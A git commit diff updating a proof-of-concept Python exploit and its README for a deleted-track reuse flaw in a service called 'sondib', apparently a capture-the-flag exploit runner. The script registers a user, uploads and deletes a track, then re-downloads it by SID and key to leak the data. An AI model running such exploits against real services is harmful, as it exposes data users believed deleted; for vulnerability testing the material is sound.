Match sondib exploit runner format

This commit is contained in:
yato committed 2026-11-29 16:26:59 +03:00
1 parent a31509aff5
commit 940b5670d6
2 files changed
+62 -59

No files matched your search

+2 -2
View File
@@ -4,10 +4,10 @@
`deleted_track_reuse.py` checks the confirmed vulnerability where a track
continues to be downloadable after deletion when its SID and key are known.
Set the target in the `TARGET` variable near the top of the script.
Pass the target as the only command-line argument.
```text
python3 deleted_track_reuse.py [-o leaked.sdz]
python3 deleted_track_reuse.py TARGET
```
Exit status `0` means the target is vulnerable, `1` means the deleted track
+60 -57
View File
@@ -1,108 +1,111 @@
#!/usr/bin/env python3
"""Exploit the deleted-track SID reuse bug in sondib.
The PoC downloads a track before deletion, deletes it, then downloads the
same SID/key again. A second non-empty download proves the vulnerability.
Exit codes: 0 vulnerable, 1 patched, 2 setup or communication error.
"""
from __future__ import annotations
import argparse
import re
import secrets
import string
import subprocess
import sys
import tempfile
import time
from pathlib import Path
PORT = 7777
TIMEOUT = 10
SDB = Path(__file__).resolve().parents[1] / "bin" / "sdb"
SID_KEY = re.compile(rb"(?m)^([0-9a-z]{26}) ([0-9a-f]{8})$")
TARGET = "10.80.19.2"
def run_sdb(target: str, *args: str, timeout: int = 10) -> subprocess.CompletedProcess[bytes]:
def log(message: str) -> None:
print(message, file=sys.stderr, flush=True)
def random_password() -> str:
alphabet = string.ascii_letters + string.digits
return "pw" + "".join(secrets.choice(alphabet) for _ in range(12))
def run_sdb(target: str, *args: str) -> subprocess.CompletedProcess[bytes]:
command = [str(SDB), args[0], target, *args[1:]]
try:
return subprocess.run(
command,
stdout=subprocess.PIPE,
stderr=subprocess.PIPE,
timeout=timeout,
timeout=TIMEOUT,
check=False,
)
except subprocess.TimeoutExpired:
return subprocess.CompletedProcess(command, 124, b"", b"sdb timed out")
except subprocess.TimeoutExpired as exc:
raise RuntimeError(f"sdb timeout during {args[0]}") from exc
def text_output(result: subprocess.CompletedProcess[bytes]) -> str:
return (result.stdout + b"\n" + result.stderr).decode(errors="replace").strip()
def output(result: subprocess.CompletedProcess[bytes]) -> bytes:
return result.stdout + b"\n" + result.stderr
def fail(message: str) -> int:
print(f"error: {message}")
return 2
def main() -> int:
parser = argparse.ArgumentParser(description=__doc__)
parser.add_argument("-o", "--output", type=Path, help="save leaked SDZ here")
args = parser.parse_args()
def run(target: str) -> int:
if not SDB.is_file():
return fail(f"sdb client not found: {SDB}")
raise RuntimeError(f"sdb client not found: {SDB}")
username = f"reuse{secrets.token_hex(5)}"
password = f"pw{secrets.token_hex(6)}"
username = "reuse" + secrets.token_hex(5)
password = random_password()
registered = run_sdb(TARGET, "register", username, password)
registered = run_sdb(target, "register", username, password)
if registered.returncode != 0:
return fail(f"register failed: {text_output(registered)}")
raise RuntimeError(f"register failed: {output(registered).decode(errors='replace').strip()}")
with tempfile.NamedTemporaryFile(prefix="sondib-probe-", suffix=".pcm") as pcm:
pcm.write(b"\0" * 1024)
pcm.flush()
uploaded = run_sdb(
TARGET, "upload", username, password,
"deleted-probe", "p", pcm.name,
target,
"upload",
username,
password,
"deleted-probe",
"p",
pcm.name,
)
match = SID_KEY.search(uploaded.stdout + b"\n" + uploaded.stderr)
if not match:
return fail(f"upload did not return SID/key: {text_output(uploaded)}")
match = SID_KEY.search(output(uploaded))
if match is None:
raise RuntimeError(
f"upload did not return SID/key: {output(uploaded).decode(errors='replace').strip()}"
)
sid, key = (part.decode() for part in match.groups())
before = run_sdb(TARGET, "download", sid, key)
before = run_sdb(target, "download", sid, key)
if not before.stdout:
return fail(f"fresh track was not downloadable: {text_output(before)}")
raise RuntimeError(
f"fresh track was not downloadable: {output(before).decode(errors='replace').strip()}"
)
# sdb exposes the server status byte as its process status; mutating
# commands can be non-zero even when the state change succeeded.
run_sdb(TARGET, "delete", username, password, sid, key)
# The client may return a non-zero status for an accepted mutation.
run_sdb(target, "delete", username, password, sid, key)
time.sleep(0.2)
after = run_sdb(TARGET, "download", sid, key)
after = run_sdb(target, "download", sid, key)
if after.stdout:
output_path = args.output
if output_path is None:
handle = tempfile.NamedTemporaryFile(
prefix=f"sondib-leak-{sid}-", suffix=".sdz", delete=False
)
output_path = Path(handle.name)
handle.close()
output_path.write_bytes(after.stdout)
print(
f"VULNERABLE: deleted track {sid} returned {len(after.stdout)} bytes; "
f"saved to {output_path}"
)
sys.stdout.buffer.write(after.stdout)
sys.stdout.buffer.flush()
log(f"target={target} sid={sid} leaked_bytes={len(after.stdout)}")
return 0
if after.returncode != 0:
print(f"blocked: deleted track {sid} was rejected")
log(f"target={target} sid={sid} deleted_track_blocked")
return 1
raise RuntimeError("download returned no data without a protocol error")
def main() -> int:
if len(sys.argv) != 2:
log(f"usage: {sys.argv[0]} TARGET")
return 2
try:
return run(sys.argv[1])
except (OSError, RuntimeError) as exc:
log(f"target={sys.argv[1]} error={exc}")
return 1
return fail("download returned no data without a protocol error")
if __name__ == "__main__":